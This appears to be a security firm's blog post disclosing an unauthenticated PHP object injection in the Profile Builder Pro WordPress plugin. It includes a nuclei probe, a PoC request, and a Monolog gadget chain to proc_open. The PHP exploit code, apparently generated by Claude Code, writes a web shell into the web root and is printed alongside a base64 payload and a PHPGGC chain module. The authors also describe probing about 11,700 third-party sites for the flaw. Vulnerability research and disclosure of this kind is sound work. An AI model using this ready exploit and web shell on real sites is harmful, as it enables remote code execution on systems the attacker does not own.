Exploiting a PHP Object Injection in Profile Builder Pro in the era of AI
WordPress plugin "Profile Builder Pro" (versions before 3.14.5) is susceptible to Unauthenticated PHP Object Injection. In this blog post, we discuss how we discovered and exploited the vulnerability using a novel POP chain, how AI helped in the process, taking a final look at targets in the wild.
Summary
- Product: Profile Builder Pro
- Vendor: Cozmoslabs
- Affected Version(s): 3.14.5 and below
- First Patched Version: 3.14.6
- Impact: The vulnerability allows an arbitrary PHP object to be injected into memory, which is then deserialized without being checked. The impacts depend heavily on the presence of useful gadgets within other plugins. In our case, we exploited a novel Monolog POP chain within the ‘The-Event-Calendar’ plugin to deploy our web shell and achieve remote code execution.
Preface
It was just another ordinary day in the life of a penetration tester. We were analysing one of our clients' WordPress sites, where all the most common attack vectors had been properly protected. WordPress was up to the latest version. XMLRPC was protected against misuse. REST APIs did not expose anything interesting. All plugins were up to date.
We only found one Stored Cross-Site Scripting vulnerability in the client's custom theme, but the vulnerability could only be exploited with write privileges (Editor+), which we did not have.
Of course, if we were a traditional consulting firm among the Big 5, we would have delivered a report with three informational findings, the "critical" XSS, and added another checkbox to the list of penetration tests completed in the month. Fortunately, we are not.
Armed with code, burnable AI tokens, and a lot of patience, we began analysing the entire attack surface exposed to unauthenticated and "Subscribers" users from the 20+ plugins installed:
semgrep --dataflow-traces --force-color
--text-output=scans/$(date +"%Y%m%d%H%M%S").txt
--sarif-output=scans/$(date +"%Y%m%d%H%M%S").sarif
--no-git-ignore
--config /opt/SAST/semgrep-rules/php/wordpress-plugins/security/auditsemgrep scan using the default wordpress security rules

In the midst of all the chaos, eventually, we identified a deserialization flaw (CVE not yet assigned) and the gadgets required to exploit it.
Deserialization and Object Injection vulnerabilities 🔎
An Insecure Deserialization vulnerability occurs when an application receives untrusted, serialized data and converts it back into an object (deserialization) without sufficient validation. This flaw allows an attacker to manipulate the data stream to inject malicious objects, often leading to remote code execution, privilege escalation, or Denial of Service.
To understand the vulnerability, we must look at the two-step process of data persistence:
- Serialization: The process of converting an object's state (including its attributes and sometimes its logic) into a byte stream or a structured format (like JSON, XML, or binary) for storage or transmission.
- Deserialization: The reverse process, where the application reads the byte stream and recreates the original object in memory.
The vulnerability arises when the application trusts the incoming stream. Since serialized objects often contain metadata about their class and structure, an attacker can craft a payload that defines an unexpected object type or modifies the attributes of an existing one.
The purpose is to inject an object that can trigger a gadget chain (or POP chain), i.e. a chain of function calls from a source method (user-controlled data), to a sink method (dangerous function), which will perform dangerous actions, like executing code or writing files on the disk.
Once we had discovered and confirmed the vulnerability, we examined the situation of WordPress sites exposed in the wild.
From PwnPress' database of WordPress sites scattered around the world and aggregated by the tool, we extracted all those using the basic version of Profile Builder, i.e., approximately 13,600.
Among these, we excluded all sites that did not respond or responded with authorization errors, reducing the pool to approximately 11,700 sites. We therefore contacted each of these sites to see if they exposed the vulnerable functionality and to understand how they handled objects serialized unexpectedly.
id: wp-php-object-injection-wppb-args
info:
name: WPPB Admin AJAX - PHP Object Injection via args Parameter
author: 0xbro
severity: high
description: Detects unsafe PHP object deserialization in the Profile Builder (WPPB) plugin via the `args` parameter in admin-ajax.php.
tags: wordpress,php-object-injection,wppb,deserialization,ajax
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
action=wppb_request_users_pins&formid=42&page=1&totalpages=3&ititems=50&args=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A10%3A%22nuclei-poi%22%3B%7D
matchers-condition: or
matchers:
- type: status
status:
- 500The results were... kinda disappointing (from an attacker researcher's perspective) 😿.
Out of a total of 11,700 sites, approximately 1,590 were found to be vulnerable (≈13.59%).
The vulnerability
The WordPress plugin Profile Builder Pro (all versions before 3.14.5) is vulnerable to Unauthenticated PHP Object Injection. This vulnerability allows a remote, unauthenticated attacker to exploit insecure deserialization by injecting malicious PHP objects inside the args HTTP parameter for the wppb_request_users_pins AJAX action.
Root cause
The one map feature in Profile Builder Pro registers two actions, both of which invoke the dangerous wppb_request_users_pins_action_callback function callback:
wp_ajax_wppb_request_users_pins(available to authenticated users)wp_ajax_nopriv_wppb_request_users_pins(available to non-authenticated users)
...
add_action( 'wp_ajax_wppb_request_users_pins', 'wppb_request_users_pins_action_callback' );
add_action( 'wp_ajax_nopriv_wppb_request_users_pins', 'wppb_request_users_pins_action_callback' );
...wp-content/plugins/profile-builder-pro/add-ons/user-listing/one-map-listing.php
This wppb_request_users_pins_action_callback function can be invoked using the AJAX handler and accepts several arguments, one of which [1] is deserialized [2] without being sanitised or checked in any way:
function wppb_request_users_pins_action_callback() {
$form_id = filter_input( INPUT_POST, 'formid', FILTER_VALIDATE_INT );
$page = filter_input( INPUT_POST, 'page', FILTER_VALIDATE_INT );
$args = filter_input( INPUT_POST, 'args', FILTER_DEFAULT ); // [1]
$args = maybe_unserialize( $args ); // [2]
$total_p = filter_input( INPUT_POST, 'totalpages', FILTER_VALIDATE_INT );
$ititems = filter_input( INPUT_POST, 'ititems', FILTER_VALIDATE_INT );
...wp-content/plugins/profile-builder-pro/add-ons/user-listing/one-map-listing.php
function maybe_unserialize( $data ) {
if ( is_serialized( $data ) ) { // Don't attempt to unserialize data that wasn't serialized going in.
return @unserialize( trim( $data ) );
}
return $data;
}wp-includes/functions.php
The vulnerability is straightforward: because the AJAX handler has been registered for both authenticated and non-authenticated users, anyone can inject arbitrary, dangerous objects with the following HTTP POST request:
POST /wp-admin/admin-ajax.php HTTP/2
Host: example.com
Content-Length: 294
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cache-Control: no-transform
action=wppb_request_users_pins&formid=42&page=1&totalpages=3&ititems=50&args=[SERIALIZED-OBJECT-HERE]PHP Object Injection PoC request
In this case, artificial intelligence (specifically Claude Code with Opus 4.6) significantly helped us speed up the triage of exposed hooks detected using Semgrep, enabling us to identify which ones contained dangerous sinks.
The POP chain
Detecting the vulnerability was easy. Now comes the tricky part: we need to find a suitable POP chain that allows us to demonstrate the impact of the identified vulnerability.
Mask, fins and snorkel, we are ready to dive into the internals of the various plugins in search of the missing pieces of the puzzle 🤿.
Gadget #1 - wpvivid-backupstore Guzzle FW
The first PHP chain we identified almost immediately was a fairly standard and well-known Guzzle File-Write primitive within the wpvivid-backupstore plugin.
wpvivd-backupstore imports through Composer an older version of the Guzzle library:
{
...
"name": "guzzlehttp/guzzle",
"version": "6.3.3",
"version_normalized": "6.3.3.0",
...
}wp-content/plugins/wpvivid-backuprestore/vendor/composer/installed.json
namespace WPvividGuzzleHttp\Cookie;
class FileCookieJar extends CookieJar
{
private $filename;
private $storeSessionCookies;
...
public function __destruct()
{
$this->save($this->filename);
}
/**
* Saves the cookies to a file.
*
* @param string $filename File to save
* @throws \RuntimeException if the file cannot be found or created
*/
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \WPvividGuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
...
}wp-content/plugins/wpvivid-backuprestore/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
In this version, when an instance of FileCookieJar is destroyed via PHP's garbage collection, its __destruct() method is automatically triggered. It takes attacker-controlled cookie data, JSON-encodes it, and writes it to an attacker-controlled file path.

Unfortunately, after deserializing the object, we obtain the following error message:Got error 'PHP message: PHP Fatal error: Uncaught Error: Cannot use object of type __PHP_Incomplete_Class as array in ...
The reason for this error is that at the time of deserialization, the FileCookieJar class is not available in memory, and no registered class autoloader will automatically include it upon deserialization.
To get around this problem, we should:
- Identify which other classes contain an autoload inclusion of our target class.
- Understand whether the functionality that invokes the autoload of our target class can be reached by deserializing the intermediate object.
Unfortunately, there is no way to instantiate this class from within the HTTP AJAX PHP lifecycle, so we had to move on.
Gadget #2 - A "novel" Monolog RCE POP chain
Still with a bitter taste in our mouths, we decided to bring out the heavy weapons, aka Claude Code. We needed a working POP chain, and the potential attack surface was MASSIVE. We therefore decided to combine LLM analysis with manual code review to speed up the research process.
We asked Claude Code to search for potential gadgets for each installed plugin. To enhance code auditing capabilities and avoid too many false positives, we also utilized the audit-context-building and static-analysis skills provided by Trail of Bits.
After a few iterations with the tool to direct it towards the desired results and a few minutes of waiting, we had a list of possible gadgets and their technical analyses.
Some of the results were false positives; one was the gadget discussed in the chapter above, while another was a novel variant of some well-known Monolog POP chains within the-events-calendar plugin (we eventually discovered that it was also one of the possible gadgets used in CVE-2024-8016).
The Claude Code report stated:
Class 1 — `TEC\Common\Monolog\Handler\FingersCrossedHandler` (entry point)
This class inherits `Handler::__destruct()`
Class 2 — `TEC\Common\Monolog\Handler\ProcessHandler` (sink)
`handleBatch()` (inherited from `AbstractHandler`) iterates the buffer and calls `handle()` on each record. `AbstractProcessingHandler::handle()` formats the record with `LineFormatter` and then calls `write()`:
Full chain diagram
PHP shutdown → GC → FingersCrossedHandler::__destruct() [Handler base]
→ close()
→ flushBuffer()
passthruLevel = 500 (non-null) → filter runs
buffer[0]['level'] = 500 >= 500 → record passes
getHandler() → ProcessHandler (already HandlerInterface) returned directly
ProcessHandler::handleBatch([$record])
→ AbstractProcessingHandler::handle($record)
isHandling(): 500 >= 100 → true
getFormatter() → null → new LineFormatter()
LineFormatter::format($record) ← DateTimeImmutable in record['datetime']
ProcessHandler::write($record)
ensureProcessIsStarted()
is_resource(null) = false → startProcess()
proc_open($command, ...) ← OS COMMAND EXECUTEDMonolog POP chain discovered by Claude Code
What exactly is it? Is it a hallucination, or is it a valid chain?
Jump with me into the White Rabbit's lair 🐰 🕳️.
The Events Calendar, as in the case of wpvivd-backupstore discussed above, has some interesting classes featuring the __destruct() magic method. Furthermore, none of these classes implements a BadMethodCallException exception within an __invoke() function to prevent the deserialization of these objects. This means that all these classes are possible candidates for our chain:
$ grep -ri 'function __destruct('
src/Tribe/Importer/File_Reader.php: public function __destruct() {
common/src/Tribe/Meta/Chunker.php: public function __destruct() {
common/src/Tribe/Log/File_Logger.php: public function __destruct() {
common/vendor/vendor-prefixed/trustedlogin/client/src/Logger.php: public function __destruct() {
common/vendor/vendor-prefixed/monolog/monolog/src/Monolog/Handler/Handler.php: public function __destruct()
common/vendor/vendor-prefixed/monolog/monolog/src/Monolog/Handler/BufferHandler.php: public function __destruct()
$ grep -rl 'function __destruct' | xargs grep -L BadMethodCallException
src/Tribe/Importer/File_Reader.php
common/src/Tribe/Meta/Chunker.php
common/src/Tribe/Log/File_Logger.php
common/vendor/vendor-prefixed/trustedlogin/client/src/Logger.php
common/vendor/vendor-prefixed/monolog/monolog/src/Monolog/Handler/Handler.php
common/vendor/vendor-prefixed/monolog/monolog/src/Monolog/Handler/BufferHandler.php
$ grep -rl 'function __destruct' | xargs grep -h namespace
namespace TEC\Common\TrustedLogin;
namespace TEC\Common\Monolog\Handler;
namespace TEC\Common\Monolog\Handler;Searched for every PHP file that implements an unprotected __destruct function
If we look closer, among the various files in the common/vendor folder, there is also Monolog, imported again into the application via Composer.
$ grep -ri monolog/monolog --include='*.json' -A 4
common/vendor/composer/installed.json: "name": "monolog/monolog",
common/vendor/composer/installed.json- "version": "2.10.0",
common/vendor/composer/installed.json- "version_normalized": "2.10.0.0",Extracted the monolog version
Fortunately for us, this time the autoloader of the-events-calendar plugin is included for every HTTP request. This means that we can deserialize objects within the TEC\Common namespace without any problem, even if the class has not yet been loaded into memory. This is possible because the autoloader will reference it before performing the deserialization. To be concise, we will not delve into the reasons the autoloader is available for every HTTP request (we will leave that exercise to the reader ✍️). All you need to know is that the flow is as follows:
HTTP Request
└─ WordPress loads active plugins
└─ the-events-calendar.php
├─ require vendor/autoload.php (Composer PSR-4)
└─ Tribe__Events__Main::instance()
└─ add_action('plugins_loaded', ..., -2)
WordPress fires 'plugins_loaded'
├─ [priority -1] Tribe__Main::plugins_loaded()
│ └─ init_autoloading()
│ ├─ Tribe__Autoloader::instance()
│ ├─ register_prefix('TEC\\Common\\' => common/src/Common/)
│ └─ spl_autoload_register() ← TEC\Common\ IS NOW LIVE
│
└─ [priority -2] Tribe__Events__Main::plugins_loaded()
└─ uses TEC\Common\ classes (already available)Perfect, at this point, it seems that the gadget identified by Claude can be used without any particular difficulties.
Monolog has a long list of POP gadgets in its history (and there are probably others waiting to be discovered):

Many of them share the same “kick-off” class. In this case, the entry point for our chain is any class that extends the Handler class:
abstract class Handler implements HandlerInterface
{
public function handleBatch(array $records): void
{
foreach ($records as $record) {
$this->handle($record);
}
}
...
public function __destruct()
{
try {
$this->close();
} catch (\Throwable $e) {
// do nothing
}
}
}wp-content/plugins/the-events-calendar/common/vendor/vendor-prefixed/monolog/monolog/src/Monolog/Handler/Handler.php
The __destruct() function allows us to call an arbitrary close() function for any object. Because Handler is extended by different other classes, we can therefore use one of these as an entry point:
when extending a class, the subclass inherits all of the public and protected methods, properties and constants from the parent class. Unless a class overrides those methods, they will retain their original functionality.
Our pool of entry classes, therefore, becomes as follows:

The obvious choice is to use a FingersCrossedHandler object (several other Monolog chain uses the same gadget too). This class inherits Handler::__destruct(). Moreover, it has a close() method [1] that allows you to move forward in the chain and call another method, flushBuffer() [2], which allows us to reach different sinks within the Monolog codebase through the handleBatch() function [3].
class FingersCrossedHandler extends Handler implements ProcessableHandlerInterface, ResettableInterface, FormattableHandlerInterface
{
...
public function close(): void // [1]
{
$this->flushBuffer(); // [2]
$this->getHandler()->close();
}
...
private function flushBuffer(): void
{
if (null !== $this->passthruLevel) {
$level = $this->passthruLevel;
$this->buffer = array_filter($this->buffer, function ($record) use ($level) {
return $record['level'] >= $level;
});
if (count($this->buffer) > 0) {
$this->getHandler(end($this->buffer))->handleBatch($this->buffer); // [3]
}
}
$this->buffer = [];
$this->buffering = true;
}
}
wp-content/plugins/the-events-calendar/common/vendor/vendor-prefixed/monolog/monolog/src/Monolog/Handler/FingersCrossedHandler.php
This line of code, this simple line, is what allows us to reach at least three different sinks:
$this->getHandler(end($this->buffer))->handleBatch($this->buffer); // [3]Are you feeling confused?
You're not alone.
Breathe.
Don't give up.
Think about all the mistakes you've made in your life.
Things like reversing an entire application only to discover that it was open source.
This can't be too much worse.
You're almost done.
From a high-level perspective, this is exactly what is happening at this exact point:
getHandler()returns$this->handlerdirectly if it is already aHandlerInterfaceinstance (so we must use aHandlerInterfaceclass)handleBatch()(inherited fromAbstractHandler) is called on theHandlerInterfaceobject itself.handleBatch()iterates the buffer and callshandle()on each record.
Once we get here, we can basically call any handle() method from any AbstractHandler class. This is where Claude discovered the new sink.
This technique is currently only used in two known chains:
In one case, the final sink is reached using an object of type GroupHandler, while in the other case, it is reached using an object of type BufferHandler.
Claude, instead, demonstrated a novel pathway: how to use a ProcessHandler object to execute arbitrary commands.
class ProcessHandler extends AbstractProcessingHandler
{
...
protected function write(array $record): void
{
$this->ensureProcessIsStarted(); // [4]
$this->writeProcessInput($record['formatted']);
$errors = $this->readProcessErrors();
if (empty($errors) === false) {
throw new \UnexpectedValueException(sprintf('Errors while writing to process: %s', $errors));
}
}
...
private function ensureProcessIsStarted(): void
{
if (is_resource($this->process) === false) {
$this->startProcess();
$this->handleStartupErrors();
}
}
...
private function startProcess(): void
{
$this->process = proc_open($this->command, static::DESCRIPTOR_SPEC, $this->pipes, $this->cwd); // [5]
foreach ($this->pipes as $pipe) {
stream_set_blocking($pipe, false);
}
}
}wp-content/plugins/the-events-calendar/common/vendor/vendor-prefixed/monolog/monolog/src/Monolog/Handler/ProcessHandler.php
abstract class AbstractProcessingHandler extends AbstractHandler
{
public function handle(array $record): bool
{
if (!$this->isHandling($record)) {
return false;
}
if ($this->processors) {
/** @var Record $record */
$record = $this->processRecord($record);
}
$record['formatted'] = $this->getFormatter()->format($record);
$this->write($record);
return false === $this->bubble;
}
}wp-content/plugins/the-events-calendar/common/vendor/vendor-prefixed/monolog/monolog/src/Monolog/Handler/AbstractProcessingHandler.php
Since we can call a handle() method, we can invoke AbstractProcessingHandler::handle() using a ProcessHandler object. Again, this is possible because ProcessHandler extends AbstractProcessingHandler.
This inheritance allows us to call the ProcessHandler::write() method, which calls ensureProcessIsStarted() [4] and reaches the final proc_open() sink controlled with arbitrary user input ($this->command is a private property set directly by the attacker in the serialized payload).
proc_open() with attacker-controlled $command = OS command execution.
That's all, folks. We have reached the bottom of the rabbit hole 🎉.
This is the novel chain discovered by Claude Sonnet.
PoC || GTFO
We asked Claude Code to develop a PoC to test the POP chain. Instead of using a variant of the PHPGGC templates, Sonnet decided to revise the chain construction "in its own way" (aka building the payload piece by piece, counting the number of characters in each serialized component).
<?php
$target_file = '/var/www/html/0xbro.php';
$php_webshell = '<?php system($_GET[0]); ?>';
$mode = 'shell';
$command = ($mode === 'id')
? 'id>/tmp/poc_id.txt'
: 'echo ' . base64_encode($php_webshell) . '|base64 -d>' . $target_file;
$sprop = fn(string $k): string => 's:' . strlen($k) . ':"' . $k . '";';
$sval = fn(string $v): string => 's:' . strlen($v) . ':"' . $v . '";';
$kprot = fn(string $prop): string => "\x00*\x00{$prop}";
$kpriv = fn(string $class, string $prop): string => "\x00{$class}\x00{$prop}";
$dt_serial = serialize(
new DateTimeImmutable('2024-01-01 00:00:00', new DateTimeZone('UTC'))
);
$record_serial = 'a:7:{'
. $sprop('message') . $sval('x')
. $sprop('context') . 'a:0:{}'
. $sprop('level') . 'i:500;'
. $sprop('level_name') . $sval('CRITICAL')
. $sprop('channel') . $sval('app')
. $sprop('datetime') . $dt_serial
. $sprop('extra') . 'a:0:{}'
. '}';
$buffer_serial = 'a:1:{i:0;' . $record_serial . '}';
$PH = 'TEC\Common\Monolog\Handler\ProcessHandler';
$PH_serial = 'O:' . strlen($PH) . ':"' . $PH . '":8:{'
. $sprop($kpriv($PH, 'command')) . $sval($command)
. $sprop($kpriv($PH, 'process')) . 'N;'
. $sprop($kpriv($PH, 'pipes')) . 'a:0:{}'
. $sprop($kpriv($PH, 'cwd')) . 'N;'
. $sprop($kprot('level')) . 'i:100;'
. $sprop($kprot('bubble')) . 'b:1;'
. $sprop($kprot('formatter')) . 'N;'
. $sprop($kprot('processors')) . 'a:0:{}'
. '}';
$FCH = 'TEC\Common\Monolog\Handler\FingersCrossedHandler';
$payload = 'O:' . strlen($FCH) . ':"' . $FCH . '":9:{'
. $sprop($kprot('handler')) . $PH_serial
. $sprop($kprot('activationStrategy')) . 'N;'
. $sprop($kprot('buffering')) . 'b:1;'
. $sprop($kprot('bufferSize')) . 'i:0;'
. $sprop($kprot('buffer')) . $buffer_serial
. $sprop($kprot('stopBuffering')) . 'b:1;'
. $sprop($kprot('passthruLevel')) . 'i:500;'
. $sprop($kprot('bubble')) . 'b:1;'
. $sprop($kprot('processors')) . 'a:0:{}'
. '}';
$bin = '/tmp/tec_payload.bin';
file_put_contents($bin, $payload);
$bin_ok = (file_get_contents($bin) === $payload) ? 'OK' : 'FAIL';
echo "[*] Base64 (reference):\n";
echo base64_encode($payload) . "\n\n";Claude Code gadget PoC
A somewhat unusual approach, to be honest, but I am not judging; after all, it works.
This is the list of files inside the root folder before deserialization:

This is the PoC output produced by Claude, encoded in base64 to keep the null bytes intact (once the payload is decoded in Burp Suite, the null bytes will not be lost):
$ php poc.php
[*] Base64 (reference):
Tzo0ODoiVEVDXENvbW1vblxNb25vbG9nXEhhbmRsZXJcRmluZ2Vyc0Nyb3NzZWRIYW5kbGVyIjo5OntzOjEwOiIAKgBoYW5kbGVyIjtPOjQxOiJURUNcQ29tbW9uXE1vbm9sb2dcSGFuZGxlclxQcm9jZXNzSGFuZGxlciI6ODp7czo1MDoiAFRFQ1xDb21tb25cTW9ub2xvZ1xIYW5kbGVyXFByb2Nlc3NIYW5kbGVyAGNvbW1hbmQiO3M6NzU6ImVjaG8gUEQ5d2FIQWdjM2x6ZEdWdEtDUmZSMFZVV3pCZEtUc2dQejQ9fGJhc2U2NCAtZD4vdmFyL3d3dy9odG1sLzB4YnJvLnBocCI7czo1MDoiAFRFQ1xDb21tb25cTW9ub2xvZ1xIYW5kbGVyXFByb2Nlc3NIYW5kbGVyAHByb2Nlc3MiO047czo0ODoiAFRFQ1xDb21tb25cTW9ub2xvZ1xIYW5kbGVyXFByb2Nlc3NIYW5kbGVyAHBpcGVzIjthOjA6e31zOjQ2OiIAVEVDXENvbW1vblxNb25vbG9nXEhhbmRsZXJcUHJvY2Vzc0hhbmRsZXIAY3dkIjtOO3M6ODoiACoAbGV2ZWwiO2k6MTAwO3M6OToiACoAYnViYmxlIjtiOjE7czoxMjoiACoAZm9ybWF0dGVyIjtOO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6MDp7fX1zOjIxOiIAKgBhY3RpdmF0aW9uU3RyYXRlZ3kiO047czoxMjoiACoAYnVmZmVyaW5nIjtiOjE7czoxMzoiACoAYnVmZmVyU2l6ZSI7aTowO3M6OToiACoAYnVmZmVyIjthOjE6e2k6MDthOjc6e3M6NzoibWVzc2FnZSI7czoxOiJ4IjtzOjc6ImNvbnRleHQiO2E6MDp7fXM6NToibGV2ZWwiO2k6NTAwO3M6MTA6ImxldmVsX25hbWUiO3M6ODoiQ1JJVElDQUwiO3M6NzoiY2hhbm5lbCI7czozOiJhcHAiO3M6ODoiZGF0ZXRpbWUiO086MTc6IkRhdGVUaW1lSW1tdXRhYmxlIjozOntzOjQ6ImRhdGUiO3M6MjY6IjIwMjQtMDEtMDEgMDA6MDA6MDAuMDAwMDAwIjtzOjEzOiJ0aW1lem9uZV90eXBlIjtpOjM7czo4OiJ0aW1lem9uZSI7czozOiJVVEMiO31zOjU6ImV4dHJhIjthOjA6e319fXM6MTY6IgAqAHN0b3BCdWZmZXJpbmciO2I6MTtzOjE2OiIAKgBwYXNzdGhydUxldmVsIjtpOjUwMDtzOjk6IgAqAGJ1YmJsZSI7YjoxO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6MDp7fX0=Gadget chain serialized in base64 in order to preserve null bytes

After deserialization, we can see that the POP chain executed our arbitrary command and generated the file 0xbro.php

A more elegant way to generate the POP chain, however, would have been this one (now available inside PHPGGC also for the latest Monolog version):
POP chain generator:
<?php
namespace GadgetChain\Monolog;
class RCE10 extends \PHPGGC\GadgetChain\RCE\Command
{
public static $version = '1.10.0 <= 2.7.0+';
public static $vector = '__destruct';
public static $author = '0xbro';
public static $information = '
This chain is a variation of Monolog/RCE5 and Monolog/RCE6. It uses a proc_open sink inside ProcessHandler,
which executes arbitrary commands serialized within the deserialized object .
Kill chain:
FingersCrossedHandler::__destruct() [Handler base]
→ close()
→ flushBuffer()
passthruLevel = 500 (non-null) → filter runs
buffer[0]["level"] = 500 >= 500 → record passes
getHandler() → ProcessHandler (already HandlerInterface) returned directly
ProcessHandler::handleBatch([$record])
→ AbstractProcessingHandler::handle($record)
isHandling(): 500 >= 100 → true
getFormatter() → null → new LineFormatter()
LineFormatter::format($record) ← DateTimeImmutable in record["datetime"]
ProcessHandler::write($record)
ensureProcessIsStarted()
is_resource(null) = false → startProcess()
proc_open($command, ...) ← OS COMMAND EXECUTED
';
public function generate(array $parameters)
{
$command = $parameters['command'];
return new \TEC\Common\Monolog\Handler\FingersCrossedHandler(
new \TEC\Common\Monolog\Handler\ProcessHandler($command)
);
}
}chain.php
Gadget classes:
<?php
namespace TEC\Common\Monolog\Handler
{
// killchain :
// <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <ProcessHandler>handleBatch($records)
class FingersCrossedHandler {
protected $passthruLevel;
protected $buffer = array();
protected $handler;
public function __construct($handler)
{
$this->handler = $handler;
$this->passthruLevel = 0;
$this->buffer = [
[
"message" => "x",
"context" => [],
"level" => 500,
"level_name" => "CRITICAL",
"channel" => "app",
"datetime" => new \DateTimeImmutable("2024-01-01 00:00:00.000000", new \DateTimeZone("UTC")),
"extra" => []
]
];
}
}
class ProcessHandler
{
private $command;
private $process = null;
private $pipes = [];
private $cwd = null;
protected $level = 100;
protected $bubble = true;
protected $formatter = null;
protected $processors = [];
function __construct($command)
{
$this->command = $command;
}
}
}gadgets.php
In this case, the gadget chain can be generated directly via PHPGGC and supports all the additional features provided by the suite:
$ ./phpggc Monolog/RCE10 'echo test > /var/www/html/test.txt' -s
O:48:"TEC\Common\Monolog\Handler\FingersCrossedHandler":3:{s:16:"%00*%00passthruLevel"%3Bi:0%3Bs:9:"%00*%00buffer"%3Ba:1:{i:0%3Ba:7:{s:7:"message"%3Bs:1:"x"%3Bs:7:"context"%3Ba:0:{}s:5:"level"%3Bi:500%3Bs:10:"level_name"%3Bs:8:"CRITICAL"%3Bs:7:"channel"%3Bs:3:"app"%3Bs:8:"datetime"%3BO:17:"DateTimeImmutable":3:{s:4:"date"%3Bs:26:"2024-01-01%2000:00:00.000000"%3Bs:13:"timezone_type"%3Bi:3%3Bs:8:"timezone"%3Bs:3:"UTC"%3B}s:5:"extra"%3Ba:0:{}}}s:10:"%00*%00handler"%3BO:41:"TEC\Common\Monolog\Handler\ProcessHandler":8:{s:50:"%00TEC\Common\Monolog\Handler\ProcessHandler%00command"%3Bs:34:"echo%20test%20>%20/var/www/html/test.txt"%3Bs:50:"%00TEC\Common\Monolog\Handler\ProcessHandler%00process"%3BN%3Bs:48:"%00TEC\Common\Monolog\Handler\ProcessHandler%00pipes"%3Ba:0:{}s:46:"%00TEC\Common\Monolog\Handler\ProcessHandler%00cwd"%3BN%3Bs:8:"%00*%00level"%3Bi:100%3Bs:9:"%00*%00bubble"%3Bb:1%3Bs:12:"%00*%00formatter"%3BN%3Bs:13:"%00*%00processors"%3Ba:0:{}}}Final Thoughts
The ability of AI to identify vulnerabilities from source code is no longer a novelty, but a fact, as demonstrated in this blog post. Whereas previously searching for a new POP chain could take days, we were able to identify a vulnerability, search through thousands of lines of code for the necessary gadgets, and develop a working PoC in just a few hours.
Of course, the biggest challenge lies in distinguishing between false positives and true positives, and directing the LLM towards what truly interests us. However, this research confirms that LLM analysis combined with traditional SAST tools is exponentially faster and, above all, can effectively identify previously undiscovered vulnerability variants.
Is your organisation developing WordPress sites or custom applications that demand more than a "checkbox" audit? As we’ve shown, staying updated is only the baseline. Real security lies in identifying the complex, non-obvious attack chains that hide in the gaps between your custom code and third-party dependencies.
At SicuraNext, we don’t just run scanners. We combine deep manual expertise with novel, AI-augmented techniques to push beyond the surface. If you are looking for a security partner that goes the extra mile to stress-test your application's logic and resilience with advanced penetration testing and custom research, get in touch with us.